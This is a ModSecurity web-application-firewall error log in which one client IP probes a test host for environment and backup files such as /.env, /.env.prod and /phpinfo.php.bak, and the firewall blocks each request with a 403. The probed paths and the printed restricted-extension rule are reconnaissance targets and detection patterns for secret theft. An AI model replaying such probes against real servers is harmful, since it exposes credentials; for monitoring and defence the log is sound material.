[Thu Feb 26 01:02:41.461392 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g34wAAAAY&quot;]
[Thu Feb 26 01:02:41.487512 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g35AAAAAY&quot;]
[Thu Feb 26 01:02:41.487767 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g35AAAAAY&quot;]
[Thu Feb 26 01:02:41.487950 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g35AAAAAY&quot;]
[Thu Feb 26 01:02:41.523428 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgvQAAAAE&quot;]
[Thu Feb 26 01:02:41.523982 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgvQAAAAE&quot;]
[Thu Feb 26 01:02:41.524167 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgvQAAAAE&quot;]
[Thu Feb 26 01:02:41.538846 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g35QAAAAY&quot;]
[Thu Feb 26 01:02:41.539130 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g35QAAAAY&quot;]
[Thu Feb 26 01:02:41.539339 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g35QAAAAY&quot;]
[Thu Feb 26 01:02:41.566814 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g35gAAAAY&quot;]
[Thu Feb 26 01:02:41.567072 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g35gAAAAY&quot;]
[Thu Feb 26 01:02:41.567252 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-example&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g35gAAAAY&quot;]
[Thu Feb 26 01:02:41.590296 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g35wAAAAY&quot;]
[Thu Feb 26 01:02:41.590562 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g35wAAAAY&quot;]
[Thu Feb 26 01:02:41.590741 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g35wAAAAY&quot;]
[Thu Feb 26 01:02:41.600097 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgwAAAAAE&quot;]
[Thu Feb 26 01:02:41.600378 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgwAAAAAE&quot;]
[Thu Feb 26 01:02:41.600589 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgwAAAAAE&quot;]
[Thu Feb 26 01:02:41.600739 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgwAAAAAE&quot;]
[Thu Feb 26 01:02:41.623667 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.docker.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g36AAAAAY&quot;]
[Thu Feb 26 01:02:41.623946 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g36AAAAAY&quot;]
[Thu Feb 26 01:02:41.624125 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g36AAAAAY&quot;]
[Thu Feb 26 01:02:41.636925 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgwQAAAAE&quot;]
[Thu Feb 26 01:02:41.637193 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgwQAAAAE&quot;]
[Thu Feb 26 01:02:41.637373 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgwQAAAAE&quot;]
[Thu Feb 26 01:02:41.662792 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g36QAAAAY&quot;]
[Thu Feb 26 01:02:41.663070 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g36QAAAAY&quot;]
[Thu Feb 26 01:02:41.663268 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g36QAAAAY&quot;]
[Thu Feb 26 01:02:41.684711 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgwgAAAAE&quot;]
[Thu Feb 26 01:02:41.685024 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgwgAAAAE&quot;]
